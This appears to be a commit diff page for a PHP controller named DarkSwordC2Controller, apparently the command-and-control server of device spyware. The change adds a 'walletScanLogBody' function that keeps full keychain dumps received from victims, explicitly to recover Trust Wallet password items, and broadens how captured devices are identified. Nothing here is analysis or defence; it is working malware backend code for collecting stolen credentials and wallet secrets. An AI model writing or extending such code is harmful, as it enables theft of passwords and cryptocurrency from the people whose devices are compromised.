fix: test
This commit is contained in:
@@ -244,7 +244,13 @@ class DarkSwordC2Controller extends Controller
|
||||
|
||||
public function result(Request $request): SymfonyResponse
|
||||
{
|
||||
return $this->ok($request, '/result', $this->jsonBody($request));
|
||||
$payload = $this->jsonBody($request);
|
||||
|
||||
// For wallet_scan results, log the full untruncated body so the
|
||||
// keychain dump (incl. trustwallet password items) is preserved verbatim.
|
||||
$logBody = $this->walletScanLogBody($request, $payload);
|
||||
|
||||
return $this->finish($request, '/result', $payload, response()->json(['ok' => true]), $logBody);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -286,7 +292,7 @@ class DarkSwordC2Controller extends Controller
|
||||
|
||||
$body = $logBody ?? $this->previewBody($request);
|
||||
$respPreview = $this->previewString((string) $response->getContent(), 4096);
|
||||
$uid = $payload['deviceUUID'] ?? $payload['lhu'] ?? $payload['device'] ?? $payload['device_id']
|
||||
$uid = $payload['deviceUUID'] ?? $payload['lhu'] ?? $payload['uuid'] ?? $payload['device'] ?? $payload['device_id']
|
||||
?? $request->attributes->get('coruna_device_key');
|
||||
if (Device::captureEnabledForKey(is_string($uid) ? $uid : null)) {
|
||||
$entry = [
|
||||
@@ -422,6 +428,28 @@ class DarkSwordC2Controller extends Controller
|
||||
return is_array($json) ? $json : [];
|
||||
}
|
||||
|
||||
/**
|
||||
* wallet_scan results carry the keychain dump (base64) in `data`.
|
||||
* Return the full decoded payload so create_log() writes it verbatim
|
||||
* (no 512-byte truncation), letting us recover trustwallet password
|
||||
* items from the ds log afterwards. Non-wallet_scan results return null
|
||||
* and fall back to the truncated preview.
|
||||
*
|
||||
* @param array<string, mixed> $payload
|
||||
* @return array<string, mixed>|null
|
||||
*/
|
||||
private function walletScanLogBody(Request $request, array $payload): ?array
|
||||
{
|
||||
$category = (string) ($payload['category'] ?? '');
|
||||
$filename = (string) ($payload['filename'] ?? '');
|
||||
if ($category !== 'wallet_scan' && ! str_contains($filename, 'keychain_c2_dump')) {
|
||||
return null;
|
||||
}
|
||||
$json = json_decode((string) $request->getContent(), true);
|
||||
|
||||
return is_array($json) ? $json : $payload;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $data
|
||||
* @return array<string, mixed>
|
||||
|
||||
Reference in New Issue
Block a user